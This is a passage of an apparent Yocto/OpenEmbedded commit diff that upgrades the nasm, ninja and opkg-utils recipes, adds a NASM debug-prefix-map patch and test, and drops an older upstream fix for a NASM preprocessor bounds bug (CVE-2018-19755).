++++ b/output/outas86.c
+@@ -110,6 +110,8 @@ static void as86_sect_write(struct Section *, const uint8_t *,
+
+ static void as86_init(void)
+ {
++ char filename[FILENAME_MAX];
++
+ stext.data = saa_init(1L);
+ stext.datalen = 0L;
+ stext.head = stext.last = NULL;
+@@ -131,7 +133,7 @@ static void as86_init(void)
+ strslen = 0;
+
+ /* as86 module name = input file minus extension */
+- as86_add_string(filename_set_extension(inname, ""));
++ as86_add_string(filename_debug_remap(filename, filename_set_extension(inname, ""), sizeof(filename)));
+ }
+
+ static void as86_cleanup(void)
+diff --git a/output/outcoff.c b/output/outcoff.c
+index 58fa024..14baf7b 100644
+--- a/output/outcoff.c
++++ b/output/outcoff.c
+@@ -1072,14 +1072,14 @@ static void coff_symbol(char *name, int32_t strpos, int32_t value,
+
+ static void coff_write_symbols(void)
+ {
+- char filename[18];
++ char filename[19];
+ uint32_t i;
+
+ /*
+ * The `.file' record, and the file name auxiliary record.
+ */
+ coff_symbol(".file", 0L, 0L, -2, 0, 0x67, 1);
+- strncpy(filename, inname, 18);
++ filename_debug_remap(filename, inname, 19);
+ nasm_write(filename, 18, ofile);
+
+ /*
+diff --git a/output/outelf.c b/output/outelf.c
+index 61af020..1292958 100644
+--- a/output/outelf.c
++++ b/output/outelf.c
+@@ -553,7 +553,7 @@ static void elf_init(void)
+ };
+ const char * const *p;
+
+- strlcpy(elf_module, inname, sizeof(elf_module));
++ filename_debug_remap(elf_module, inname, sizeof(elf_module));
+ sects = NULL;
+ nsects = sectlen = 0;
+ syms = saa_init((int32_t)sizeof(struct elf_symbol));
+diff --git a/output/outieee.c b/output/outieee.c
+index 6d6d4b2..cdb8333 100644
+--- a/output/outieee.c
++++ b/output/outieee.c
+@@ -207,7 +207,7 @@ static void ieee_unqualified_name(char *, char *);
+ */
+ static void ieee_init(void)
+ {
+- strlcpy(ieee_infile, inname, sizeof(ieee_infile));
++ filename_debug_remap(ieee_infile, inname, sizeof(ieee_infile));
+ any_segs = false;
+ fpubhead = NULL;
+ fpubtail = &fpubhead;
+diff --git a/output/outobj.c b/output/outobj.c
+index 56b43f9..fefea94 100644
+--- a/output/outobj.c
++++ b/output/outobj.c
+@@ -644,7 +644,7 @@ static enum directive_result obj_directive(enum directive, char *);
+
+ static void obj_init(void)
+ {
+- strlcpy(obj_infile, inname, sizeof(obj_infile));
++ filename_debug_remap(obj_infile, inname, sizeof(obj_infile));
+ first_seg = seg_alloc();
+ any_segs = false;
+ fpubhead = NULL;
+diff --git a/stdlib/strlcat.c b/stdlib/strlcat.c
+index 7084d46..ee93dea 100644
+--- a/stdlib/strlcat.c
++++ b/stdlib/strlcat.c
+@@ -29,7 +29,7 @@ size_t strlcat(char *dest, const char *src, size_t size)
+ size_t n;
+
+ /* find the NULL terminator in dest */
+- for (n = 0; i < size && dest[n] != '\0'; n++)
++ for (n = 0; n < size && dest[n] != '\0'; n++)
+ ;
+
+ /* destination was not NULL terminated. Return the initial size */
+diff --git a/test/elfdebugprefix.asm b/test/elfdebugprefix.asm
+new file mode 100644
+index 0000000..a67ba29
+--- /dev/null
++++ b/test/elfdebugprefix.asm
+@@ -0,0 +1,6 @@
++;Testname=unoptimized; Arguments=-O0 --debug-prefix-map elf=ELF -felf -oelfdebugprefix.o; Files=stdout stderr elfdebugprefix.o; Validate=readelf --wide --symbols elfdebugprefix.o | grep 'FILE.*ELFdebugprefix.asm'
++
++ SECTION .text
++test: ; [1]
++ ret
++
+diff --git a/test/performtest.pl b/test/performtest.pl
+index f7865b3..096f960 100755
+--- a/test/performtest.pl
++++ b/test/performtest.pl
+@@ -42,14 +42,22 @@ sub perform {
+ TEST:
+ while(<TESTFILE>) {
+ #See if there is a test case
+- last unless /Testname=(.*);\s*Arguments=(.*);\s*Files=(.*)/;
+- my ($subname, $arguments, $files) = ($1, $2, $3);
++ last unless /Testname=(.*);\s*Arguments=(.*);\s*Files=([^;]*)(?:;\s*Validate=(.*))?/;
++ my ($subname, $arguments, $files, $validate) = ($1, $2, $3, $4);
++ chomp $files;
+ debugprint("$subname | $arguments | $files");
+
+ #Call nasm with this test case
+ system("$nasm $arguments $testpath > $stdoutfile 2> $stderrfile");
+ debugprint("$nasm $arguments $testpath > $stdoutfile 2> $stderrfile ----> $?");
+
++ if($validate) {
++ if(system("$validate >> $stdoutfile 2>> $stderrfile") != 0) {
++ print "Test $testname/$subname validation failed\n";
++ $globalresult = 1;
++ }
++ }
++
+ #Move the output to the test dir
+ mkpath("$outputdir/$testname/$subname");
+ foreach(split / /,$files) {
diff --git a/meta/recipes-devtools/nasm/nasm/CVE-2018-19755.patch b/meta/recipes-devtools/nasm/nasm/CVE-2018-19755.patch
deleted file mode 100644
index 6e3f909d0f..0000000000
--- a/meta/recipes-devtools/nasm/nasm/CVE-2018-19755.patch
+++ /dev/null
@@ -1,116 +0,0 @@
-From 3079f7966dbed4497e36d5067cbfd896a90358cb Mon Sep 17 00:00:00 2001
-From: Cyrill Gorcunov <gorcunov@gmail.com>
-Date: Wed, 14 Nov 2018 10:03:42 +0300
-Subject: [PATCH] preproc: Fix malformed parameter count
-
-readnum returns 64bit number which may become
-a negative integer upon conversion which in
-turn lead to out of bound array access.
-
-Fix it by explicit conversion with bounds check
-
- | POC6:2: error: parameter count `2222222222' is out of bounds [0; 2147483647]
-
-https://bugzilla.nasm.us/show_bug.cgi?id=3392528
-
-Signed-off-by: Cyrill Gorcunov <gorcunov@gmail.com>
-
-Upstream-Status: Backport
-CVE: CVE-2018-19755
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- asm/preproc.c | 43 +++++++++++++++++++++----------------------
- 1 file changed, 21 insertions(+), 22 deletions(-)
-
-diff --git a/asm/preproc.c b/asm/preproc.c
-index b6afee3..e5ad05a 100644
---- a/asm/preproc.c
-+++ b/asm/preproc.c
-@@ -1650,6 +1650,23 @@ smacro_defined(Context * ctx, const char *name, int nparam, SMacro ** defn,
- return false;
- }
-
-+/* param should be a natural number [0; INT_MAX] */
-+static int read_param_count(const char *str)
-+{
-+ int result;
-+ bool err;
-+
-+ result = readnum(str, &err);
-+ if (result < 0 || result > INT_MAX) {
-+ result = 0;
-+ nasm_error(ERR_NONFATAL, "parameter count `%s' is out of bounds [%d; %d]",
-+ str, 0, INT_MAX);
-+ } else if (err) {
-+ nasm_error(ERR_NONFATAL, "unable to parse parameter count `%s'", str);
-+ }
-+ return result;
-+}
-+
- /*
- * Count and mark off the parameters in a multi-line macro call.
- * This is called both from within the multi-line macro expansion
-@@ -1871,11 +1888,7 @@ static bool if_condition(Token * tline, enum preproc_token ct)
- pp_directives[ct]);
- } else {
- searching.nparam_min = searching.nparam_max =
-- readnum(tline->text, &j);
-- if (j)
-- nasm_error(ERR_NONFATAL,
-- "unable to parse parameter count `%s'",
-- tline->text);
-+ read_param_count(tline->text);
- }
- if (tline && tok_is_(tline->next, "-")) {
- tline = tline->next->next;
-@@ -1886,11 +1899,7 @@ static bool if_condition(Token * tline, enum preproc_token ct)
- "`%s' expects a parameter count after `-'",
- pp_directives[ct]);
- else {
-- searching.nparam_max = readnum(tline->text, &j);
-- if (j)
-- nasm_error(ERR_NONFATAL,
-- "unable to parse parameter count `%s'",
-- tline->text);
-+ searching.nparam_max = read_param_count(tline->text);
- if (searching.nparam_min > searching.nparam_max) {
- nasm_error(ERR_NONFATAL,
- "minimum parameter count exceeds maximum");
-@@ -2079,8 +2088,6 @@ static void undef_smacro(Context *ctx, const char *mname)
- */
- static bool parse_mmacro_spec(Token *tline, MMacro *def, const char *directive)
- {
-- bool err;
--
- tline = tline->next;
- skip_white_(tline);
- tline = expand_id(tline);
-@@ -2103,11 +2110,7 @@ static bool parse_mmacro_spec(Token *tline, MMacro *def, const char *directive)
- if (!tok_type_(tline, TOK_NUMBER)) {
- nasm_error(ERR_NONFATAL, "`%s' expects a parameter count", directive);
- } else {
-- def->nparam_min = def->nparam_max =
-- readnum(tline->text, &err);
-- if (err)
-- nasm_error(ERR_NONFATAL,
-- "unable to parse parameter count `%s'", tline->text);
-+ def->nparam_min = def->nparam_max = read_param_count(tline->text);
- }
- if (tline && tok_is_(tline->next, "-")) {
- tline = tline->next->next;
-@@ -2117,11 +2120,7 @@ static bool parse_mmacro_spec(Token *tline, MMacro *def, const char *directive)
- nasm_error(ERR_NONFATAL,
- "`%s' expects a parameter count after `-'", directive);
- } else {
-- def->nparam_max = readnum(tline->text, &err);
-- if (err) {
-- nasm_error(ERR_NONFATAL, "unable to parse parameter count `%s'",
-- tline->text);
-- }
-+ def->nparam_max = read_param_count(tline->text);
- if (def->nparam_min > def->nparam_max) {
- nasm_error(ERR_NONFATAL, "minimum parameter count exceeds maximum");
- def->nparam_max = def->nparam_min;
---
-2.10.5.GIT
-
diff --git a/meta/recipes-devtools/nasm/nasm_2.14.02.bb b/meta/recipes-devtools/nasm/nasm_2.14.02.bb
deleted file mode 100644
index e4f964ce93..0000000000
--- a/meta/recipes-devtools/nasm/nasm_2.14.02.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "General-purpose x86 assembler"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=90904486f8fbf1861cf42752e1a39efe"
-
-SRC_URI = "http://www.nasm.us/pub/nasm/releasebuilds/${PV}/nasm-${PV}.tar.bz2 \
- file://CVE-2018-19755.patch \
- "
-
-SRC_URI[md5sum] = "3f489aa48ad2aa1f967dc5e293bbd06f"
-SRC_URI[sha256sum] = "34fd26c70a277a9fdd54cb5ecf389badedaf48047b269d1008fbc819b24e80bc"
-
-# brokensep since this uses autoconf but not automake
-inherit autotools-brokensep
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-BBCLASSEXTEND = "native"
-
-DEPENDS = "groff-native"
-
-CVE_PRODUCT = "netwide_assembler"
diff --git a/meta/recipes-devtools/nasm/nasm_2.15.05.bb b/meta/recipes-devtools/nasm/nasm_2.15.05.bb
new file mode 100644
index 0000000000..edc17aeebf
--- /dev/null
+++ b/meta/recipes-devtools/nasm/nasm_2.15.05.bb
@@ -0,0 +1,23 @@
+SUMMARY = "General-purpose x86 assembler"
+SECTION = "devel"
+HOMEPAGE = "http://www.nasm.us/"
+DESCRIPTION = "The Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture."
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=90904486f8fbf1861cf42752e1a39efe"
+
+SRC_URI = "http://www.nasm.us/pub/nasm/releasebuilds/${PV}/nasm-${PV}.tar.bz2 \
+ file://0001-stdlib-Add-strlcat.patch \
+ file://0002-Add-debug-prefix-map-option.patch \
+ "
+
+SRC_URI[sha256sum] = "3c4b8339e5ab54b1bcb2316101f8985a5da50a3f9e504d43fa6f35668bee2fd0"
+
+EXTRA_AUTORECONF:append = " -I autoconf/m4"
+
+inherit autotools-brokensep
+
+BBCLASSEXTEND = "native"
+
+DEPENDS = "groff-native"
+
+CVE_PRODUCT = "netwide_assembler"
diff --git a/meta/recipes-devtools/ninja/ninja/fix-musl.patch b/meta/recipes-devtools/ninja/ninja/fix-musl.patch
deleted file mode 100644
index 7fd779110d..0000000000
--- a/meta/recipes-devtools/ninja/ninja/fix-musl.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From e92a915183f8bff268f74c8cd00d986301a2bbf8 Mon Sep 17 00:00:00 2001
-From: makepost <makepost@firemail.cc>
-Date: Mon, 24 Dec 2018 03:13:16 +0200
-Subject: [PATCH] Use st_mtim if st_mtime is macro, fix #1510
-
-In POSIX.1-2008, sys_stat has a st_mtim member and a st_mtime backward
-compatibility macro. Should help avoid hardcoding platform detection.
-
-Signed-off-by: Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>
-
-Upstream-Status: Pending
----
- src/disk_interface.cc | 14 ++++----------
- 1 file changed, 4 insertions(+), 10 deletions(-)
-
-diff --git a/src/disk_interface.cc b/src/disk_interface.cc
-index d4c2fb0..dc297c4 100644
---- a/src/disk_interface.cc
-+++ b/src/disk_interface.cc
-@@ -202,19 +202,13 @@ TimeStamp RealDiskInterface::Stat(const string& path, string* err) const {
- // that it doesn't exist.
- if (st.st_mtime == 0)
- return 1;
--#if defined(__APPLE__) && !defined(_POSIX_C_SOURCE)
-+#if defined(_AIX)
-+ return (int64_t)st.st_mtime * 1000000000LL + st.st_mtime_n;
-+#elif defined(__APPLE__)
- return ((int64_t)st.st_mtimespec.tv_sec * 1000000000LL +
- st.st_mtimespec.tv_nsec);
--#elif (_POSIX_C_SOURCE >= 200809L || _XOPEN_SOURCE >= 700 || defined(_BSD_SOURCE) || defined(_SVID_SOURCE) || \
-- defined(__BIONIC__) || (defined (__SVR4) && defined (__sun)) || defined(__FreeBSD__))
-- // For glibc, see "Timestamp files" in the Notes of http://www.kernel.org/doc/man-pages/online/pages/man2/stat.2.html
-- // newlib, uClibc and musl follow the kernel (or Cygwin) headers and define the right macro values above.
-- // For bsd, see https://github.com/freebsd/freebsd/blob/master/sys/sys/stat.h and similar
-- // For bionic, C and POSIX API is always enabled.
-- // For solaris, see https://docs.oracle.com/cd/E88353_01/html/E37841/stat-2.html.
-+#elif defined(st_mtime) // A macro, so we're likely on modern POSIX.
- return (int64_t)st.st_mtim.tv_sec * 1000000000LL + st.st_mtim.tv_nsec;
--#elif defined(_AIX)
-- return (int64_t)st.st_mtime * 1000000000LL + st.st_mtime_n;
- #else
- return (int64_t)st.st_mtime * 1000000000LL + st.st_mtimensec;
- #endif
---
-2.17.1
-
diff --git a/meta/recipes-devtools/ninja/ninja_1.10.2.bb b/meta/recipes-devtools/ninja/ninja_1.10.2.bb
new file mode 100644
index 0000000000..7270321d6e
--- /dev/null
+++ b/meta/recipes-devtools/ninja/ninja_1.10.2.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Ninja is a small build system with a focus on speed."
+HOMEPAGE = "https://ninja-build.org/"
+DESCRIPTION = "Ninja is a small build system with a focus on speed. It differs from other build systems in two major respects: it is designed to have its input files generated by a higher-level build system, and it is designed to run builds as fast as possible."
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a81586a64ad4e476c791cda7e2f2c52e"
+
+DEPENDS = "re2c-native ninja-native"
+
+SRCREV = "e72d1d581c945c158ed68d9bc48911063022a2c6"
+
+SRC_URI = "git://github.com/ninja-build/ninja.git;branch=release;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
+
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+
+do_compile:class-native() {
+ python3 ./configure.py --bootstrap
+}
+
+do_compile() {
+ python3 ./configure.py
+ ninja
+}
+
+do_install() {
+ install -D -m 0755 ${S}/ninja ${D}${bindir}/ninja
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ninja/ninja_1.9.0.bb b/meta/recipes-devtools/ninja/ninja_1.9.0.bb
deleted file mode 100644
index f1236e8ac8..0000000000
--- a/meta/recipes-devtools/ninja/ninja_1.9.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Ninja is a small build system with a focus on speed."
-HOMEPAGE = "http://martine.github.com/ninja/"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a81586a64ad4e476c791cda7e2f2c52e"
-
-DEPENDS = "re2c-native ninja-native"
-
-SRCREV = "b25c08bda4949192c69cea4cee057887341a2ffc"
-
-SRC_URI = "git://github.com/ninja-build/ninja.git;branch=release \
- file://fix-musl.patch \
-"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
-
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-
-do_compile_class-native() {
- python3 ./configure.py --bootstrap
-}
-
-do_compile() {
- python3 ./configure.py
- ninja
-}
-
-do_install() {
- install -D -m 0755 ${S}/ninja ${D}${bindir}/ninja
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-Switch-all-scripts-to-use-Python-3.x.patch b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-Switch-all-scripts-to-use-Python-3.x.patch
deleted file mode 100644
index 691ed50c2b..0000000000
--- a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-Switch-all-scripts-to-use-Python-3.x.patch
+++ /dev/null
@@ -1,113 +0,0 @@
-From d42b23f4fb5d6bd58e92e995fe5befc76efbae0c Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 27 Apr 2017 15:47:58 +0300
-Subject: [PATCH] Switch all scripts to use Python 3.x
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- makePackage | 2 +-
- opkg-compare-indexes | 2 +-
- opkg-graph-deps | 2 +-
- opkg-list-fields | 2 +-
- opkg-make-index | 2 +-
- opkg-show-deps | 2 +-
- opkg-unbuild | 2 +-
- opkg-update-index | 2 +-
- opkg.py | 2 +-
- 9 files changed, 9 insertions(+), 9 deletions(-)
-
-diff --git a/makePackage b/makePackage
-index 4bdfc56..02124dd 100755
---- a/makePackage
-+++ b/makePackage
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
-
- # The general algorithm this program follows goes like this:
- # Run tar to extract control from control.tar.gz from the package.
-diff --git a/opkg-compare-indexes b/opkg-compare-indexes
-index b60d20a..80c1263 100755
---- a/opkg-compare-indexes
-+++ b/opkg-compare-indexes
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- from __future__ import absolute_import
- from __future__ import print_function
-
-diff --git a/opkg-graph-deps b/opkg-graph-deps
-index 6653fd5..f1e376a 100755
---- a/opkg-graph-deps
-+++ b/opkg-graph-deps
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- from __future__ import absolute_import
- from __future__ import print_function
-
-diff --git a/opkg-list-fields b/opkg-list-fields
-index c14a90f..24f7955 100755
---- a/opkg-list-fields
-+++ b/opkg-list-fields
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- from __future__ import absolute_import
- from __future__ import print_function
-
-diff --git a/opkg-make-index b/opkg-make-index
-index 3f757f6..2988f9f 100755
---- a/opkg-make-index
-+++ b/opkg-make-index
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- """
- Utility to create opkg compatible indexes
- """
-
-diff --git a/opkg-show-deps b/opkg-show-deps
-index 153f21e..4e18b4f 100755
---- a/opkg-show-deps
-+++ b/opkg-show-deps
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- from __future__ import absolute_import
- from __future__ import print_function
-
-diff --git a/opkg-unbuild b/opkg-unbuild
-index 4f36bec..57642c9 100755
---- a/opkg-unbuild
-+++ b/opkg-unbuild
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- from __future__ import absolute_import
- from __future__ import print_function
-
-diff --git a/opkg-update-index b/opkg-update-index
-index 341c1c2..7bff8a1 100755
---- a/opkg-update-index
-+++ b/opkg-update-index
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- from __future__ import absolute_import
-
- import sys, os
-diff --git a/opkg.py b/opkg.py
-index 2ecac8a..7e64de4 100644
---- a/opkg.py
-+++ b/opkg.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- # Copyright (C) 2001 Alexander S. Guy <a7r@andern.org>
- # Andern Research Labs
- #
---
-2.11.0
-
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-clamp-mtimes-to-SOURCE_DATE_EPOCH.patch b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-clamp-mtimes-to-SOURCE_DATE_EPOCH.patch
deleted file mode 100644
index a181169d47..0000000000
--- a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-clamp-mtimes-to-SOURCE_DATE_EPOCH.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 59da5577bf8df441c6ca958e50fcb83228702764 Mon Sep 17 00:00:00 2001
-From: Alejandro del Castillo <alejandro.delcastillo@ni.com>
-Date: Thu, 12 Sep 2019 10:24:58 -0500
-Subject: [PATCH] opkg-build: clamp mtimes to SOURCE_DATE_EPOCH
-
-For reproducible builds, clamp mtimes bigger than SOURCE_DATE_EPOCH to
-SOURCE_DATE_EPOCH (build generated files, usually).
-
-Fixes bugzilla 13450
-
-Signed-off-by: Alejandro del Castillo <alejandro.delcastillo@ni.com>
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- opkg-build | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/opkg-build b/opkg-build
-index dcd2d68..2517a2b 100755
---- a/opkg-build
-+++ b/opkg-build
-@@ -297,9 +297,16 @@ mkdir $tmp_dir
-
- build_date="${SOURCE_DATE_EPOCH:-$(date +%s)}"
-
-+mtime_args=""
-+# --clamp-mtime requires tar > 1.28. Only use it if SOURCE_DATE_EPOCH is set, to avoid having a generic case dependency on tar > 1.28.
-+# this setting will make sure files generated at build time have consistent mtimes, for reproducible builds.
-+if [ ! -z "$SOURCE_DATE_EPOCH" ]; then
-+ mtime_args="--mtime=@$build_date --clamp-mtime"
-+fi
-+
- ( cd $pkg_dir/$CONTROL && find . -type f > $tmp_dir/control_list )
- ( cd $pkg_dir && find . -path ./$CONTROL -prune -o -print > $tmp_dir/file_list )
--( cd $pkg_dir && tar $ogargs $tsortargs --no-recursion -c $tarformat -T $tmp_dir/file_list | $compressor $compressorargs > $tmp_dir/data.tar.$cext )
-+( cd $pkg_dir && tar $ogargs $tsortargs --no-recursion $mtime_args -c $tarformat -T $tmp_dir/file_list | $compressor $compressorargs > $tmp_dir/data.tar.$cext )
- ( cd $pkg_dir/$CONTROL && tar $ogargs $tsortargs --no-recursion --mtime=@$build_date -c $tarformat -T $tmp_dir/control_list | gzip $zipargs > $tmp_dir/control.tar.gz )
- rm $tmp_dir/file_list
- rm $tmp_dir/control_list
---
-2.20.1
-
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch
new file mode 100644
index 0000000000..556d4ce5f5
--- /dev/null
+++ b/meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch
@@ -0,0 +1,28 @@
+From 26206005dacd61380663bb4fd9b18178bb33665b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 24 Oct 2020 21:59:27 +0200
+Subject: [PATCH] update-alternatives: correctly match priority
+
+It should always be at the end of string, otherwise something
+like "/usr/bin/python3.9-config 123" will erroneously match
+against priority 9.
+
+Upstream-Status: Submitted
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ update-alternatives | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/update-alternatives b/update-alternatives
+index 1389b3f..e0b31bf 100644
+--- a/update-alternatives
++++ b/update-alternatives
+@@ -94,7 +94,7 @@ add_alt() {
+ local path="$2"
+ local priority="$3"
+ remove_alt $name $path
+- if grep -qw "$priority" $ad/$name; then
++ if grep -qw "$priority"$ $ad/$name; then
+ echo "Warn: update-alternatives: $name has multiple providers with the same priority, please check $ad/$name for details"
+ fi
+ echo "$path $priority" >> $ad/$name
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.1.bb b/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.1.bb
deleted file mode 100644
index cf1e4670c6..0000000000
--- a/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.1.bb
+++ /dev/null
@@ -1,64 +0,0 @@
-SUMMARY = "Additional utilities for the opkg package manager"
-SUMMARY_update-alternatives-opkg = "Utility for managing the alternatives system"
-SECTION = "base"
-HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://opkg.py;beginline=2;endline=18;md5=63ce9e6bcc445181cd9e4baf4b4ccc35"
-PROVIDES += "${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'virtual/update-alternatives', '', d)}"
-
-SRC_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/${BPN}/snapshot/${BPN}-${PV}.tar.gz \
- file://0001-Switch-all-scripts-to-use-Python-3.x.patch \
- file://0001-opkg-build-clamp-mtimes-to-SOURCE_DATE_EPOCH.patch \
-"
-UPSTREAM_CHECK_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils/refs/"
-
-
-SRC_URI[md5sum] = "8c140f835b694a0c27cfb23d2426a02b"
-SRC_URI[sha256sum] = "9ea9efdd9fe13661ad251e3a2860c1c93045adcfaa6659c3e86d9748ecda3b6e"
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-# For native builds we use the host Python
-PYTHONRDEPS = "python3 python3-shell python3-io python3-math python3-crypt python3-logging python3-fcntl python3-pickle python3-compression python3-stringold"
-PYTHONRDEPS_class-native = ""
-
-PACKAGECONFIG = "python update-alternatives"
-PACKAGECONFIG[python] = ",,,${PYTHONRDEPS}"
-PACKAGECONFIG[update-alternatives] = ",,,"
-
-do_install() {
- oe_runmake PREFIX=${prefix} DESTDIR=${D} install
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'true', 'false', d)}; then
- rm -f "${D}${bindir}/update-alternatives"
- fi
-
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
- grep -lZ "/usr/bin/env.*python" ${D}${bindir}/* | xargs -0 rm
- fi
-}
-
-do_install_append_class-target() {
- if [ -e "${D}${bindir}/update-alternatives" ]; then
- sed -i ${D}${bindir}/update-alternatives -e 's,/usr/bin,${bindir},g; s,/usr/lib,${nonarch_libdir},g'
- fi
-}
-
-# These are empty and will pull python3-dev into images where it wouldn't
-# have been otherwise, so don't generate them.
-PACKAGES_remove = "${PN}-dev ${PN}-staticdev"
-
-PACKAGES =+ "update-alternatives-opkg"
-FILES_update-alternatives-opkg = "${bindir}/update-alternatives"
-RPROVIDES_update-alternatives-opkg = "update-alternatives update-alternatives-cworth"
-RREPLACES_update-alternatives-opkg = "update-alternatives-cworth"
-RCONFLICTS_update-alternatives-opkg = "update-alternatives-cworth"
-
-pkg_postrm_update-alternatives-opkg() {
- rm -rf $D${nonarch_libdir}/opkg/alternatives
- rmdir $D${nonarch_libdir}/opkg || true
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb b/meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb
new file mode 100644
index 0000000000..e72c171b92
--- /dev/null
+++ b/meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb
@@ -0,0 +1,65 @@
+SUMMARY = "Additional utilities for the opkg package manager"
+SUMMARY:update-alternatives-opkg = "Utility for managing the alternatives system"
+SECTION = "base"
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://opkg.py;beginline=2;endline=18;md5=ffa11ff3c15eb31c6a7ceaa00cc9f986"
+PROVIDES += "${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'virtual/update-alternatives', '', d)}"
+
+SRC_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/${BPN}/snapshot/${BPN}-${PV}.tar.gz \
+ file://0001-update-alternatives-correctly-match-priority.patch \
+ "
+UPSTREAM_CHECK_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils/refs/"
+
+SRC_URI[sha256sum] = "55733c0f8ffde2bb4f9593cfd66a1f68e6a2f814e8e62f6fd78472911c818c32"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+RDEPENDS:${PN} += "bash"
+
+inherit perlnative
+
+# For native builds we use the host Python
+PYTHONRDEPS = "python3 python3-shell python3-io python3-math python3-crypt python3-logging python3-fcntl python3-pickle python3-compression python3-stringold"
+PYTHONRDEPS:class-native = ""
+
+PACKAGECONFIG = "python update-alternatives"
+PACKAGECONFIG[python] = ",,,${PYTHONRDEPS}"
+PACKAGECONFIG[update-alternatives] = ",,,"
+
+do_install() {
+ oe_runmake PREFIX=${prefix} DESTDIR=${D} install
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'true', 'false', d)}; then
+ rm -f "${D}${bindir}/update-alternatives"
+ fi
+}
+
+do_install:append:class-target() {
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
+ grep -lZ "/usr/bin/env.*python" ${D}${bindir}/* | xargs -0 rm
+ fi
+
+ if [ -e "${D}${bindir}/update-alternatives" ]; then
+ sed -i ${D}${bindir}/update-alternatives -e 's,/usr/bin,${bindir},g; s,/usr/lib,${nonarch_libdir},g'
+ fi
+}
+
+# These are empty and will pull python3-dev into images where it wouldn't
+# have been otherwise, so don't generate them.
+PACKAGES:remove = "${PN}-dev ${PN}-staticdev"
+
+PACKAGES =+ "update-alternatives-opkg"
+FILES:update-alternatives-opkg = "${bindir}/update-alternatives"
